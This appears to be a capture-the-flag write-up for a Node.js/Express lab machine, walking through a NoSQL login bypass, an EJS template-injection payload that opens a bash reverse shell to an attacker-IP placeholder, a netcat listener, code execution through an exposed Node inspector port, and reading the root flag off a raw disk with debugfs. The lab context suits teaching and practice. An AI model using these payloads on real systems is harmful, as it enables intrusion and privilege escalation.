In this post · 3 sections

Hacker Holidays Day 7: Do Not Disturb

A poolside booking platform, Node.js and Express. Getting a shell meant chaining two bugs. Getting root meant a debugging port nobody should have left open. Thanks to @animsparrow for pointing me at that Node inspector pivot.

Foothold

nmap gave SSH and an Express app on port 80. Fuzzing found /staff, returning a 403. Since it is Express, I sent JSON to the login with a NoSQL payload:

Spoiler: the NoSQL auth bypass
curl -s -X POST http://<target IP>/login \
  -H "Content-Type: application/json" \
  -d '{"username":{"$ne":""},"password":{"$ne":""}}'

$ne means “not equal”, so this reads as “log me in as anyone whose password isn’t blank”, which is everyone. The server did not sanitise it and handed back a session cookie. With that cookie, /staff opened: a console that renders a guest message through EJS and lets me submit my own template. Classic SSTI:

curl -s -X POST http://<target IP>/staff/preview \
  -H "Cookie: connect.sid=<cookie>" \
  --data-urlencode "template=<%= 7*7 %>"

It returned 49. A straight require() was blocked, but EJS exposes Node’s global process, so I reached require through it and swapped in a reverse shell. Listener up first:

nc -lvnp 4444
Spoiler: the SSTI reverse shell
<%= global.process.mainModule.require('child_process').execSync("bash -c 'bash -i >& /dev/tcp/<attacker IP>/4444 0>&1'").toString() %>

Shell as poolside, user flag in the home directory.

Root through a debugging port

sudo -l wanted a password I did not have, so I checked the processes and found another account running Node with a debugging port open:

Spoiler: the open debugging port
pipelin+ ... /usr/bin/node --inspect=127.0.0.1:9229 processor.js

--inspect opens a Chrome DevTools Protocol port. Anyone who can reach it runs arbitrary JavaScript in that process. It was bound to localhost, but I already had a shell, so localhost was mine. I queried the debugger for its webSocketDebuggerUrl, then used a small raw Node script to send Runtime.evaluate:

curl -s http://127.0.0.1:9229/json/list
node /tmp/cdp.js "id"

That ran as pipelinesvc, no password needed, and that account was in the disk group.

The disk group is basically root

Membership in disk means read access to raw block devices, which walks past file permissions. I found the main partition (/dev/nvme0n1p1) and read the root flag straight off it with debugfs:

Spoiler: reading root off the raw disk
node /tmp/cdp.js "debugfs -R 'cat /root/root.txt' /dev/nvme0n1p1 2>&1"

Both flags redacted here.